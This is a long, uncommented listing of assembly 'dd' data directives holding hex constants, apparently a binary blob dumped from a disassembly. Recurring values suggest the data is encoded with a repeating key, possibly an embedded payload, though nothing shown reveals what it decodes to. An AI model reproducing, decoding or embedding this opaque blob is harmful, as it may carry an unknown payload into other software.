dd 7D3C64B1h, 75A9FEE7h, 731B0336h, 20A9D6E7h, 0E1B30336h
dd 4E3C64B1h, 883A9569h, 0C03D1566h, 22321564h, 47C77406h
dd 883213D8h, 0FCF19466h, 0B0BDE64h, 0A9D99495h, 0D60BDE64h
dd 0F33D4206h, 0A9544B98h, 1E5274B7h, 883216E9h, 97B97366h
dd 2232048Fh, 3A892266h, 0F4891F21h, 15C44301h, 17FE4F31h
dd 7753373Ch, 0EECEE0CBh, 4420FCCDh, 84BC1566h, 0BBC2967Eh
dd 0F6DCCDD7h, 7DD8F6CEh, 1A05B6ACh, 115D2A0Eh, 0AC369C66h
dd 0AD694D35h, 22321577h, 0CAA0D62Dh, 393FA796h, 0F4E1125Fh
dd 4D1BCAD5h, 9B52BEFEh, 3567748Dh, 44321562h, 0EB9FB67h
dd 15F69642h, 0AC0E9C93h, 60469C93h, 27DB756Ah, 0FC321566h
dd 1A87876Bh, 44321E8Fh, 59E4E066h, 124799F5h, 313C31A8h
dd 45879C07h, 0DE35F148h, 461629EDh, 4FB3F2EFh, 44321562h
dd 2236D2E7h, 2DB51566h, 61524942h, 44321569h, 9D1BDA7Bh
dd 4E887ABDh, 0E729383Eh, 25786D1Ch, 731609EDh, 0D0B3F4EFh
dd 88321562h, 4436D4E7h, 2EB51566h, 0F9524942h, 8832156Bh
dd 9EFA3665h, 9A964A10h, 0AC4691B9h, 0EE6BED31h, 0BB53C2EDh
dd 0A16B3152h, 17DB11A2h, 4321566h, 187B3B85h, 6069E78h
dd 90D09C34h, 883211A4h, 40F09466h, 0A5321566h, 0F86E3172h
dd 88321561h, 8AE995A0h, 7071DCAAh, 0A863F7EFh, 0BFF9294Bh
dd 0B3EBE227h, 0A3E3E2BFh, 25F1C097h, 0D1F814AEh, 0C336D7E5h
dd 0D76E3172h, 0EED25D8Fh, 80B21A99h, 24321566h, 0F5D09400h
dd 7153ECF7h, 0B3D29D2h, 44321564h, 0E5536DD1h, 0FACB35E3h
dd 88321761h, 0AFB37566h, 6B7BCDC8h, 0E1BB4507h, 8CB9D6EFh
dd 40F69642h, 2C841A93h, 11321B8Fh, 0F7C8F266h, 0F54ED8EBh
dd 0A05EDA7Ch, 91F8CF02h, 0B3D959Fh, 4432153Dh, 22359769h
dd 973D1566h, 88321567h, 87B3EC93h, 77404239h, 0AC67DE67h
dd 0DD404239h, 246FFE4Fh, 78FA9400h, 70F59ED8h, 77CDAA31h
dd 0BF1BEA99h, 87DBE039h, 1E321566h, 88320BE6h, 5CB81A66h
dd 0CB321566h, 11321575h, 0FE0EA03Ah, 56D2C7Fh, 95C9D9E6h
dd 5528B197h, 9F68EC8h, 4432118Ah, 6269C66h, 0FFF274D0h
dd 8FCEB64h, 0B51AFD90h, 0D563E03Ch, 1DB9317Ah, 8CF69642h
dd 44321E8Fh, 2BB8666h, 88D09B47h, 0B1C2859h, 0FB65409Fh
dd 7716545Fh, 0D06DE8EFh, 4DB3178Bh, 73683BA1h, 547F8E7h
dd 0D4B312E8h, 0A35530D4h, 0C537F0A7h, 0A598AA93h, 4CDB3469h
dd 10F1949Ah, 6D7C701Ah, 188847ADh, 5B46973Dh, 0AF93E7E7h
dd 971B2F81h, 2234FC3Ch, 8E931566h, 0D8379178h, 677F90EDh
dd 0CB521282h, 11321568h, 17E57B07h, 8CA12252h, 0E9463F4Ch
dd 18DBEEEEh, 32321566h, 0FA1F1890h, 8CC1722h, 1139FC07h
dd 7B1E1566h, 8DD49D16h, 10E0A6B3h, 74A79E9Fh, 8735F173h
dd 443202E1h, 2220FC66h, 0D6991566h, 55DBD69Eh, 0CFA69300h
dd 0E12C1165h, 4432BCD1h, 9377A8E5h, 4B331282h, 223662E2h
dd 0A8547566h, 0EE52C95Fh, 84B3CCEDh, 5D7A3EF9h, 0D20B7407h
dd 8C6C9769h, 0AC521566h, 22321577h, 2E9DEB67h, 98E8095h
dd 7E11800Eh, 0A433411Bh, 4A68442Bh, 0E9CCA269h, 0C63DC65Fh
dd 0DDCDEF95h, 11359669h, 0F3D1566h, 44321567h, 223FFC9Fh
dd 1CB21566h, 7B4500E1h, 90780B8Bh, 0CB8DF410h, 11321172h
dd 883C9D69h, 4DDB1566h, 0D6321566h, 8A367B1Ah, 0F9856E4Ch
dd 0BD1290A1h, 2230128Dh, 1ADB1566h, 8D321566h, 65D6B04Ch
dd 0E407850Ch, 98623C27h, 3F19C96h, 80B13162h, 33DA7562h
dd 5E321566h, 6EAAB486h, 235409BFh, 0F4B49DF6h, 87CDF3B0h
dd 0E96D4ED0h, 44399A69h, 24DB1566h, 4321566h, 0D5A12F97h
dd 4A841A61h, 928A7306h, 0E8B27449h, 0F6B11AE6h, 0AD321566h
dd 22321574h, 18C94B81h, 97F6FA08h, 8A3DA7ECh, 41C06B1Eh
dd 0D2B3DAE0h, 0EBF61333h, 6615FEE7h, 0E93341E6h, 3315D6E7h
dd 63B341E6h, 27F61333h, 2232048Fh, 86333266h, 4D425355h
dd 8495ABE8h, 0CDBED87Bh, 0A962BAF4h, 88321567h, 246AD667h
dd 223E9169h, 17DA1566h, 6D321566h, 50AD17h, 43CA4BD0h
dd 1132B18Fh, 883DFC66h, 53101566h, 0DA77D16Bh, 60E84017h
dd 0BC65CE61h, 0F56345A9h, 7BFE9D35h, 0E7E1F9E6h, 0FBDE95BAh
dd 0C431F9A6h, 0C31AEB92h, 1120FC3Eh, 5F081566h, 674E026Dh
dd 221481F5h, 8885A64Eh, 9DCACCDCh, 50C5442Fh, 2CDB4C42h
dd 0A5321566h, 4E74348Eh, 0E5BD01FAh, 2E7F218Bh, 5A8D423Bh
dd 490BED6Ch, 0A3F31D81h, 71C59462h, 903DF16Ah, 3776B9A1h
dd 0CFCB3416h, 0E6B1315Ah, 0D2B3E062h, 0BF0B0D93h, 6D2FEE7h
dd 0E91B3AC8h, 53D2D6E7h, 63B33AC8h, 730B0D93h, 22359869h
dd 903D1566h, 88321567h, 9B79E9Eh, 0DA35F145h, 74A79E9Fh
dd 7D35F173h, 5F77A8E5h, 2D331282h, 113066E2h, 99B91A66h
dd 0AD321566h, 2232156Ah
dd 508204C6h, 0FFED3415h, 0C6C1C35Bh, 0A03DCD5Dh, 11321578h
dd 87E12C93h, 0BBCB13E0h, 2222FC99h, 0AC561566h, 0FA416921h
dd 0F4914871h, 35156785h, 0A962CDDEh, 0DF6D56ECh, 0AC2A316Bh
dd 1BBE3039h, 9C07093Eh, 0A12E4D7Fh, 4BDB4DA0h, 46321566h
dd 0D0929284h, 8B84846Ah, 0BB9270E7h, 0A43D6486h, 11321567h
dd 8CDE9493h, 0CD321566h, 2D87316Ah, 0F86BFDEEh, 88321561h
dd 18F9761h, 88C808E1h, 1189469Fh, 9321566h, 0F316B9A5h
dd 0A3C1145Fh, 0A616B98Dh, 0D3399F5Fh, 728B7306h, 2DDB7441h
dd 3B321566h, 24854552h, 0C535124Bh, 0DF566EE7h, 0A0635A86h
dd 26F395B4h, 0B16BDDEEh, 0A2D3A635h, 0FAF23FA5h, 87C19563h
dd 58B9CC46h, 26F69642h, 11321A8Fh, 25973866h, 5F58EFBEh
dd 0D0A59FB4h, 7ED8B4A4h, 0E8FA1D9Eh, 20BDA4D9h, 0A43D4434h
dd 11321566h, 87987438h, 443200E3h, 2222FC66h, 3ED11566h
dd 0D042B6FBh, 1F50CCD2h, 0CED7DF55h, 0D2B31C44h, 0E00B27C6h
dd 468BD6E7h, 0D91B57E0h, 138BFEE7h, 63B357E0h, 2C0B27C6h
dd 9F674493h, 11321562h, 0A16FFCEFh, 0CA3D4CADh, 2232156Ah
dd 1132128Fh, 4BD47766h, 0D0B9B259h, 0E103CD57h, 0F852CD57h
dd 88321577h, 0D5AC11E5h, 709C88B6h, 0FBBEC97h, 3E3DBF28h
dd 2573A207h, 2232138Fh, 76038766h, 23A5C0D3h, 0FC624693h
dd 72435924h, 8907726Bh, 0C8EAE210h, 55F31026h, 843717AAh
dd 9846380Dh, 56334DA5h, 0F1BBE93Dh, 25D63B67h, 94F5ED9Fh
dd 8FD60E23h, 44321567h, 2232138Fh, 1AF5F66h, 0DDA7B9B9h
dd 81B3F0EFh, 22321562h, 2236D0E5h, 0A403314Ah, 601E2642h
dd 223DFC3Ah, 0D5181566h, 2A844B0Eh, 49B29D6Ch, 0D14500E1h
dd 3506EA8Bh, 8CF6943Dh, 0AD321566h, 22321577h, 3F64FA36h
dd 0D1A8DF40h, 3842B248h, 5F031DACh, 353E9E3Fh, 9D49C30h
dd 443211A0h, 26F49666h, 4D1621E1h, 88399269h, 42DB1566h
dd 0CC321566h, 0DBCC6E3h, 6BBB464Bh, 4436D6E7h, 0E1B11566h
dd 352E9262h, 7D1631EDh, 44321F8Fh, 9352BD66h, 0A8D876D0h
dd 0DFBC379Dh, 0FD63F2EFh, 22321562h, 926BDA67h, 0B4B511A1h
dd 0ADCE4942h, 0DDCDCF5Bh, 37874606h, 0E9D09F3Dh, 4433AC37h
dd 0EC1B1566h, 10B51A3Fh, 71321566h, 0CCECA635h, 29364EBEh
dd 0AB3FA706h, 82D9BDEEh, 56DB7507h, 0A7321566h, 4B13A106h
dd 44F1F890h, 0B39EB44Ah, 0AB105B7h, 1139FC5Ah, 56D21566h
dd 7A2CECAAh, 0E4CC9386h, 0ED987462h, 136F9E5h, 0BD6A3152h
dd 0B85CD463h, 1F6D1017h, 701B2E07h, 253C4A4Bh, 4CF3385Dh
dd 0ED5264FCh, 718A7306h, 0F3C2947Eh, 431AD914h, 158B4407h
dd 0A1321566h, 603E9EAEh, 2236D1E7h, 0F9521566h, 8832156Bh
dd 160B371Ah, 668AA44h, 0CEB4E6FCh, 0D0CC9E64h, 0C55AD00h
dd 4ACBBE07h, 11323A1Eh, 11629EFh, 40F59481h, 0A1321566h
dd 2DB511A1h, 43D4942h, 44321572h, 223C9A69h, 18DB1566h
dd 0A5321566h, 0FB61F6B9h, 28659423h, 1132108Fh, 0E239D966h
dd 70CD4884h, 0E6B14E42h, 10B71A62h, 74321566h, 1D162199h
dd 2236D1E7h, 943D1566h, 88321561h, 44339669h, 2DCE1566h
dd 113214E8h, 0BCB9E066h, 0A3BB4242h, 2236D2E7h, 0D6B11566h
dd 0AC0E9262h, 2CC7E03Ah, 22324334h, 981619EFh, 8CF39487h
dd 0C7321566h, 2EB511A7h, 90524942h, 0DE882487h, 0A7B37347h
dd 42530860h, 11321A8Fh, 0FAED6366h, 501A9E8Dh, 77A9B08Dh
dd 0DABB792Ah, 0C4DB7493h, 0BDCDEABAh, 22239869h, 1DDB1566h
dd 0D0321566h, 0A1572123h, 3B50229Bh, 0D60445ABh, 63CB35E3h
dd 44321061h, 2234FC66h, 4DC1566h, 0BECD53DEh, 4436F9E7h
dd 16BB1566h, 77524E42h, 0E9186ADEh, 4436AA31h, 0D9331566h
dd 921629EDh, 85DB11A2h, 60321566h, 4A79C616h, 0CB995FA9h
dd 88268A91h, 4432AC37h, 0D3331566h, 1132AF34h, 42331566h
dd 1D680F65h, 0FD09406h, 40097E73h, 54FBAB00h, 0C1B9743Fh
dd 25D6362Bh, 14BB1A06h, 31321566h, 4C6D2214h, 0A953CDECh
dd 0F52770F3h, 90B91A61h, 24321566h, 2DDBFAD3h, 52321566h
dd 0A9995214h, 1A958941h, 0C118265Dh, 4253158Ah, 0F153B3DDh
dd 0AFF3561Fh, 0A3E9E263h, 2506E795h, 0D3EC3C9Ah, 4432068Fh
dd 4722F666h, 0E426E7EFh, 0BB2CBAAh, 0DB93443Eh, 72379178h
dd 31DFA8E5h, 87331282h, 4434D1E2h, 2239FC66h, 0DAAB1566h
dd 6BBF98D9h, 226E245Fh, 2DEA2E41h, 11321FE4h, 5209E066h
dd 45489369h, 0ABCA1566h, 0F51C14D3h, 81DBED61h, 30321566h
dd 0F6532A4Bh, 38D56B01h, 711288EDh, 0C23D128Dh, 2232156Ch
dd 1132108Fh, 0E7EDDC66h, 0FD631898h, 60F75F93h, 1165967h
dd 0AC6E143Fh, 605E946Ah, 0E778E06Ah, 0AB547524h, 35470DDh
dd 16DB74B5h, 2D321560h, 113207EEh, 883FFC66h, 5DD31566h
dd 0B6563A4h, 0F5CB7731h, 87414D23h, 443209E2h, 34BD1A66h
dd 0F8321566h, 88321577h, 0BFF1D752h, 0B6B1495Ah, 8C276030h
dd 4B386AE7h, 600E9E25h, 0A3D49C30h, 113211A0h, 8CF49666h
dd 181621E1h, 0A887306h, 11BA1A32h, 0E9321566h, 64DF90A1h
dd 22331282h, 0A6521566h, 9AB6AFA5h, 0BD5359F6h, 741609EDh
dd 0D7B3F3EFh, 88321562h, 0C336D3E5h, 426E3152h, 11319B69h
dd 3541566h, 45B41AA4h, 0DE321566h, 3506EA07h, 8CF6963Fh
dd 4434FC06h, 92581566h, 0B714766h, 88239D69h, 48DB1566h
dd 75321566h, 0D6EDE4C6h, 0B5F8CEDAh, 2577506Dh, 751621EDh
dd 0D6B3F2EFh, 88321562h, 0C336D2E5h, 2D6E315Ah, 113207E2h
dd 883FFC66h, 0E6551566h, 9B2199F7h, 648B49D4h, 0DEABAD68h
dd 0FE60F3EFh, 22321562h, 9268C367h, 0BCB511A0h, 4CDB4942h
dd 0A321566h, 86DF571Ah, 8707A289h, 443219E5h, 24B61A66h
dd 1E321566h, 883215E3h, 927DFC66h, 0A352EA99h, 18B95BA4h
dd 0E9BFA167h, 5F77A8E5h, 2D331282h, 113709E2h, 1519E066h
dd 43D6362Bh, 22339869h, 9AC71566h, 6C29FCEBh, 4438FC61h
dd 16A1566h, 0BC381C69h, 18B58751h, 5415D4E7h, 0FB332361h
dd 724CAD36h, 0BD7A13AFh, 28494B98h, 643A574Bh, 485C1047h
dd 0BD7A2FE0h, 0F1C78BEFh, 426AD44Fh, 1132128Eh, 0C7657966h
dd 0B38438D3h, 22321E8Fh, 0ADE1966h, 3744EF2Ah, 0E37D6C28h
dd 9961743Eh, 4F243DCCh, 0A169CC4Fh, 0EEF3949Fh, 426C034Eh
dd 91C09400h, 51851A3Ah, 2C674307h, 27B3094Dh, 0CBF7943Bh
dd 1C86B85h, 0B51B4888h, 0A53D7538h, 11321566h, 0E9EC9E00h
dd 1F854600h, 7954EDEEh, 9E36DD98h, 88279469h, 0C93D1566h
dd 22321569h, 11321F8Fh, 0F763FB66h, 0A5C0713Ch, 88FCF885h
dd 0CFB84206h, 82B1AC39h, 14534B32h, 2229700Eh, 353E9C66h
dd 61CB4C3Eh, 44321568h, 912A6E5h, 5D9FC48Ch, 0A177C2C2h
dd 0B199EB13h, 72D39C37h, 113211DEh, 0D0F31466h, 0C336D4E5h
dd 0CB6E316Ah, 11321572h, 2610CE32h, 54BF7D4Fh, 0E3A78389h
dd 0E484FE49h, 952B4720h, 1F162199h, 2236D1E7h, 0F8CE1566h
dd 8832156Ch, 8F658D8Eh, 0B26C6FABh, 25CD28FFh, 4CB14C42h
dd 70CDED62h, 0E6B14B42h, 1B91A62h, 87321566h, 44321FE6h
dd 2237FC66h, 40FA1566h, 61A840D7h, 44321577h, 0E5F99417h
dd 712F903Eh, 26B1BBFAh, 0FFE0873Eh, 7A664582h, 11321163h
dd 8CF29666h, 181611E1h, 0FA17FC93h, 9D3DEA99h, 88321567h
dd 64B7D29Ah, 2035FE9Fh
dd 0F8321566h, 8832156Ah, 0DC6984CDh, 0D9C83E36h, 0D2B9C1F3h
dd 1C59C31h, 600E9E9Dh, 0DB36D1E5h, 113DFD06h, 0FD8A1566h
dd 0D3ACC7A1h, 87BFD2C0h, 0D6C4B1ABh, 8835FC3Bh, 5C3E1566h
dd 885B9D5Fh, 0A63D4C66h, 3E3D74BFh, 0BDB2E968h, 6AB11AE6h
dd 0F8321566h, 88321577h, 79943803h, 0FECEDCA9h, 4105BE6Bh
dd 0E0A84636h, 7AF194A2h, 0A31F1807h, 6A68818Dh, 9F91430h
dd 3F6881A5h, 1CD99430h, 0ED1F1807h, 77CDAF34h, 971BEA99h
dd 9EDBE93Ch, 71321566h, 56D8AE00h, 0C553D4EDh, 2232118Ah
dd 352E9C66h, 4FCC26D1h, 0A3B2C290h, 2ADD9574h, 913AFAA6h
dd 711AEA91h, 45B81A3Dh, 0DE321566h, 113C9C69h, 81DB1566h
dd 3B321566h, 0ACE95571h, 0E3DA5A12h, 8832150Eh, 603E3C66h
dd 0A11619EDh, 923D11A2h, 8832157Fh, 44219669h, 2CDB1566h
dd 0F321566h, 780C3B98h, 272F1379h, 0C451873Dh, 306E7D04h
dd 0A4BB1566h, 428DA842h, 0E7B355E7h, 0AE4CEF26h, 876FFC47h
dd 44320CEFh, 2226FC66h, 82721566h, 59640D45h, 9E9587h
dd 83E8B0AEh, 3C0EEF34h, 36640B71h, 4C5B696Ah, 0B6CE667h
dd 1DD994ADh, 873A7C1Ah, 443214E5h, 0A9CAE066h, 0F51158E3h
dd 8837FC61h, 1D011566h, 0A983D053h, 0F52770F3h, 0F3D7561h
dd 44321560h, 8319DBE7h, 953D1450h, 88321566h, 0BF37FC07h
dd 0E5CBEA99h, 0FACB35E3h, 88321761h, 0CF547566h, 0AB6374A0h
dd 3DB34497h, 0B9066342h, 87B34E46h, 2032110h, 1D88753Fh
dd 867FF44h, 0AD536C83h, 22321576h, 20712A59h, 0AF511CC0h
dd 6A998BD8h, 35319947h, 0E43CA369h, 87B2ECE6h, 443266E5h
dd 0A9547566h, 0DE8B739Dh, 63B3744Ah, 26A96345h, 37FBFEE7h
dd 0DA333EEDh, 9DFBD6E7h, 87B33EEDh, 40A96345h, 11321D8Fh
dd 0E10A66h, 5F80AB15h, 238B44FCh, 10321566h, 43D4CADh
dd 44321572h, 22321A8Fh, 415EF066h, 2682ADD9h, 0F4079729h
dd 2FF7C03h, 11399A69h, 8EDB1566h, 5E321566h, 0B1489579h
dd 119BFCFBh, 8DDB1566h, 41321566h, 26136372h, 39CDA334h
dd 0AC269E97h, 4436D1E7h, 4ACB1566h, 11321566h, 0F81639E7h
dd 6D405618h, 26B3316Ah, 524C6542h, 61524C14h, 44321572h
dd 0CF567E35h, 5A2DDE5Fh, 4E2E2C22h, 371C78FCh, 986B1B62h
dd 1132128Fh, 0C67F9B66h, 0EF539939h, 0DD894607h, 30321566h
dd 0AC2E9EBFh, 4436D1E7h, 74521566h, 0F86A86D6h, 8832156Dh
dd 0A5125C1Ch, 9AB42727h, 70E5D5C7h, 0BC21D6E7h, 0AFB36D2Ch
dd 107D4287h, 0D2B3DE4Fh, 0BA7D4287h, 7021FEE7h, 44526D2Ch
dd 683CEE7h, 87537506h, 443215EEh, 0A9537466h, 0F51158E3h
dd 95BB1A61h, 4B321566h, 223202E1h, 1120FC66h, 86E31566h
dd 0AD9FC9FAh, 314B2F71h, 0F97BA712h, 86E6971Ah, 515780EDh
dd 2CDB1282h, 0A6321566h, 65FD1449h, 0A7F9D864h, 51BAC679h
dd 548F96D8h, 8935F17Dh, 0B3089169h, 2CDBEA99h, 8C321566h
dd 1CEA320Bh, 5D0EF373h, 947CC731h, 1EEA2EB4h, 88320AE4h
dd 4423FC66h, 0CDFC1566h, 1D89DC2h, 0B5F292A4h, 0A982D89Fh
dd 1B5EC9ABh, 0ADB41AB5h, 7DCDEA8Bh, 1BBBAD36h, 2F727380h
dd 108A5A5Ch, 0C831F5A7h, 49303B63h, 7AF414A6h, 15DE969Ah
dd 91621EFh, 1A9B314Ah, 0A36B4796h, 0E16CBCA7h, 80B81A34h
dd 24321566h, 22329A69h, 90531566h, 9D7875A7h, 12CB3C42h
dd 7E7397D8h, 0CFF49419h, 0A196AC6Eh, 0C23D4B97h, 22321567h
dd 0AA61479Fh, 0A1B13E92h, 7FEFFEE7h, 0E1B34FFEh, 68197263h
dd 4CD19425h, 0C535A301h, 27250595h, 0E0F1946Eh, 1C5F9C9h
dd 951B4EBCh, 32DB753Ch, 7A321566h, 0D408353Ah, 3D1029C7h
dd 4CA99D8Dh, 70EB878Fh, 0D9B5A037h, 0A1F2ECD3h, 20D7D56Eh
dd 0D15CF0E6h, 65B21683h, 1DDA9DF8h, 0D76BFD66h, 9152E9CCh
dd 373D82ABh, 15627497h, 63E9E3Eh, 1136D1E7h, 23CE1566h
dd 97EBFC9Fh, 73C7EA99h, 113215DFh, 73DB9466h, 45078004h
dd 0D9F39497h, 9B078004h, 93D4C67h, 44321576h, 22321E8Fh
dd 27D43A66h, 0AB89FA8Dh, 0A6EC4BE6h, 0A63DFD5Ah, 1132155Dh
dd 88321D8Fh, 2801B066h, 42D64BC0h, 0E48D42BBh, 7F57262Fh
dd 95E5E2B1h, 0D8DD9489h, 46008CC2h, 61C74A3Eh, 4432140Ah
dd 22321B8Fh, 20FBAF66h, 9D211D2Ah, 653FB7EDh, 4AD74157h
dd 11323406h, 0E81609EFh, 22F89E00h, 3B15D3E7h, 98624707h
dd 0D0F09C96h, 4B68C6EFh, 22321DE4h, 13B31A66h, 0E8321566h
dd 458A4507h, 27321566h, 1E372E01h, 0EF1FE567h, 473D105Dh
dd 25DB4D7Eh, 3E321566h, 47A6AF44h, 0C63D8EA0h, 22321567h
dd 148C439Ah, 9321566h, 0CF434AA5h, 0A3C11470h, 9A434A8Dh
dd 60524B70h, 44321560h, 26CCC1D4h, 0A63D59CDh, 8DDB4CBCh
dd 1E321566h, 0BCD7B9A9h, 0A0637307h, 0EEFA9D54h, 0B2F2EB3Fh
dd 0DA1721BEh, 1132128Fh, 887DE966h, 0F9F84E9Dh, 688A75CCh
dd 912C6FAFh, 9536C92h, 0CC5E10A5h, 0C8D9942Eh, 3841773Ch
dd 62F1949Dh, 0C541773Ch, 0AA5E108Dh, 7963EC2Eh, 88321562h
dd 1DF93C3Fh, 223D9C69h, 1BDB1566h, 62321566h, 0A16C1CEDh
dd 0C8B4D15Eh, 20EA2408h, 0E8EA24A5h, 85AAE7E7h, 89532DDFh
dd 3506EA9Fh, 8CF6963Dh, 442A9269h, 44521566h, 0F8A922DDh
dd 8832156Bh, 6397EA2Dh, 0EEFE7666h, 414CF301h, 326074F7h
dd 44321563h, 36B9C367h, 15F69442h, 0E8321566h, 1B8DC1ECh
dd 4375C7B5h, 1133AE35h, 1601566h, 1EE29CBCh, 37BC1A3Dh
dd 0F8321566h, 88321576h, 2A036EFAh, 86E725C1h, 0F94C3B58h
dd 13B3B43Dh, 4421FCA5h, 5E6D1566h, 0F53411CDh, 820BBFEEh
dd 698BF11Bh, 0FA35BDD4h, 0F1BB4592h, 88321163h, 44363866h
dd 26B51566h, 1DBB4942h, 8835FC42h, 0CDAD1566h, 0C3630DD2h
dd 27CD7366h, 0AC369E00h, 0AD30D1E5h, 22321563h, 5E782E81h
dd 87F12988h, 44331BE2h, 0E90EE066h, 10379169h, 0B4CE1566h
dd 2B61AA4h, 42321567h, 0EFB97334h, 0E9EC9F39h, 0C03DDF5Ah
dd 22321453h, 1132188Fh, 0C45DC866h, 9160DF88h, 53F8A228h
dd 2C5476F1h, 0C3D3099h, 4432140Fh, 22339069h, 77CE1566h
dd 87CD3B5Bh, 443295E3h, 3BB71A66h, 0F8321566h, 88321572h
dd 0F38C8B3Dh, 0F5870C5Ch, 0AC96974Ah, 4AA0261h, 212488AEh
dd 2236F9E7h, 0DBB1566h, 8830AE42h, 0B7331566h, 2D6916ECh
dd 113211EFh, 7AB97566h, 0C2844707h, 0DC31FBA6h, 8F495A8h
dd 44864500h, 1C54F356h, 0A207E3E6h, 0E1123490h, 348D753Ch
dd 24375458h, 436C459Ah, 1E922907h, 883322E2h, 443DFC66h
dd 7B531566h, 0BDF3D53Dh, 49BD21F1h, 2345307h, 606EACBh
dd 15F6943Fh, 7D321566h, 350BA833h, 0D7B300F3h, 7F0626E5h
dd 496FFDEFh, 1307168Eh, 2D3D614Eh, 113214E2h, 7BDBE966h
dd 0B8321567h, 2237FD06h, 69161566h, 0E8A50122h, 75534B07h
dd 28DB75AFh, 36321566h, 0C0AC88A6h, 28885FDAh, 0E8B973D9h
dd 728F4007h, 7F0AC336h, 27C794B3h, 0B0AC336h, 1E52488Fh
dd 883217EBh, 4BFBA366h, 0CB53EAD1h, 11321580h, 88339C69h
dd 24CA1566h, 0FE4201D9h, 0E9B97358h, 7F8D4207h, 0C56D2A4Ah
dd 5E7D7091h, 0D2D59446h, 0D83C1E43h, 734433DEh, 1EB1835h
dd 0B81717D6h, 0AD05C26Bh, 7CF03E1Bh, 0EE1FC591h, 10E8CEF8h
dd 47B34DA1h, 55574154h, 0F789FAE7h, 0E8BB2683h, 8837FC39h
dd 4FD51566h, 0CB0426E1h
dd 113215E0h, 0E062429Ah, 3B4D26EEh, 27D2D43Eh, 1FB12026h
dd 4F0747B1h, 0CDC2E075h, 0CDF34DA1h, 77DD946Eh, 13258A2h
dd 4CDB4A9Fh, 67321566h, 0BED3934Bh, 61A1BC1Eh, 44321528h
dd 223F9069h, 0AE521566h, 92AEA17Eh, 44329469h, 0D7531566h
dd 1575AB30h, 6EF316A5h, 3DC946Eh, 6C61160Dh, 30D7F3E7h
dd 7EB33883h, 643214C1h, 16B9E4EFh, 15F69642h, 8832048Fh
dd 0D699D766h, 8D9260F5h, 9C8994A7h, 798DBB7h, 0E0C1F581h
dd 2232188Fh, 0BAB72366h, 9B7AEE89h, 5F472133h, 0AFB95971h
dd 16D60003h, 883E9969h, 0C33D1566h, 22321560h, 11329669h
dd 8EDB1566h, 0D4321566h, 2A2012A4h, 1EFB908Fh, 88320AE3h
dd 4421FC66h, 19441566h, 0C34A278Dh, 24F55AFFh, 52C47FBh
dd 1093AFB7h, 74879C40h, 7D35F173h, 171619EDh, 0E1B3F6EFh
dd 11321562h, 0F36D6E5h, 4B6E317Ah, 223202ECh, 1120FC66h
dd 0FCD1566h, 0B7E6C8D1h, 0E0ED537Eh, 0FDF85D6Ah, 0B61A70DFh
dd 0FF614393h, 22321567h, 9869CBEFh, 87524B96h, 443217E4h
dd 0CA39A366h, 11321574h, 0D951E6EBh, 0BDB17A7Ch, 0E931353Dh
dd 9DAE8B6Fh, 0C3D744Ah, 44321566h, 0DBF1743Dh, 9836F9E5h
dd 8889317Ah, 45321566h, 21B97395h, 9054753Dh, 0D8222A81h
dd 256A7406h, 0A63DD65Ah, 113214BAh, 8832078Fh, 4E3AF866h
dd 0DA3CA000h, 5C0B5216h, 18525459h, 2482E48Dh, 22349E69h
dd 973D1566h, 88321566h, 15537506h, 70537439h, 9963D7EEh
dd 0D1F99DB7h, 443DFC3Ch, 14E61566h, 71B0459Fh, 0CA7861ADh
dd 8AC861DDh, 8582459Bh, 5816EA62h, 0D106BC62h, 246AD646h
dd 22319269h, 9A541566h, 0E9C2A0A8h, 4B42EEE6h, 223637E2h
dd 0A9547566h, 73D1A18h, 4432156Bh, 22321D8Fh, 0AF710366h
dd 601CD564h, 0AD0E748Dh, 237C9169h, 2DCE1566h, 0CDB61A8Dh
dd 0BD321567h, 0D9B97306h, 0D30E7493h, 89049169h, 0C93D1566h
dd 22321577h, 1132198Fh, 0E3DCBA66h, 1C8D2597h, 0ABDA6Bh
dd 1EF92992h, 883302E2h, 48BE1A66h, 2D321566h, 113213EEh
dd 88BC1A66h, 22321566h, 2D17EA5Bh, 1132EEE2h, 3F3D7566h
dd 225274A8h, 1D39F7E7h, 0DAF79537h, 420E7439h, 44D09169h
dd 1ECA1566h, 9DB61A85h, 61321565h, 44321560h, 188FEE5h
dd 1FDB62D7h, 5E321566h, 0FBAB77D1h, 7EC7312Dh, 8A75376Ch
dd 0A60F7369h, 18B71A99h, 42321566h, 0F6B3739Ah, 0D9535748h
dd 4432170Eh, 0D3334C66h, 716B14ECh, 492661D9h, 1753E91Eh
dd 0A22EA334h, 0E7B2B390h, 0D2C59D59h, 6459D2E6h, 44524E9Eh
dd 29A3DEE7h, 8832048Eh, 8A018A66h, 436AE6F2h, 9B0AEE99h
dd 4C417B23h, 0B7B34AB5h, 0F85076Ah, 0B10E7438h, 88649169h
dd 2CCA1566h, 22326C26h, 0AE1629EFh, 0F0232061h, 337F2A7h
dd 82D3FAE7h, 0E9BB1740h, 82DA7539h, 99321566h, 31BFA89Ch
dd 0DAE3756Eh, 46D09591h, 443AFC3Dh, 0AE961566h, 0BF25A8D2h
dd 61534E62h, 4432151Eh, 22321A8Fh, 0B15E0066h, 0A599A65Ah
dd 1214173Ah, 6E21A481h, 457A0EFh, 84DB1282h, 0C3321566h
dd 0A4E188B9h, 17714BD9h, 7DF2C21Fh, 8D0A88EBh, 0DDC7128Ch
dd 1ADA75B5h, 85321566h, 0E47AA76Bh, 40C2BEDEh, 4B60AFEAh
dd 3664743Eh, 4B323DACh, 0ECB5CB91h, 0DFB5C491h, 0EB2FF3E7h
dd 0C57C4105h, 22121288h, 4FC29C62h, 88321E8Fh, 0C64A1766h
dd 0D2B3619Eh, 554C679Eh, 73DE0A5h, 44321572h, 22BF1A06h
dd 0F8321566h, 88321561h, 6BD1CEA5h, 4342B6FBh, 1160480Eh
dd 0AC369C66h, 52B51A9Ah, 2D321566h, 113205ECh, 8839FC66h
dd 973B1566h, 0BBECA214h, 0AB298765h, 8CDE9615h, 0FD1619EFh
dd 22321576h, 10B9E467h, 33D753Fh, 44321560h, 22329B69h
dd 0E3B31566h, 0C4804456h, 0B9B79C07h, 4235F14Fh, 90B0AB00h
dd 88329369h, 0BB531566h, 0A16A3152h, 2DB11A2h, 15321566h
dd 0B11820FAh, 0FEFE46E4h, 5C79831Bh, 0A6ED97AFh, 0FB65FB2Bh
dd 2232157Ah, 2DB9EB67h, 8CF69442h, 24321566h, 22309869h
dd 0CEB91566h, 0CCF9AB00h, 5CB81A07h, 0CB321566h, 11321575h
dd 0A5D9E938h, 3314B0FAh, 0A6BD24ACh, 0B8C08942h, 5D15A93h
dd 0A02AC0DBh, 2220FC61h, 0F2D81566h, 83DA5B4Ah, 0EF678D20h
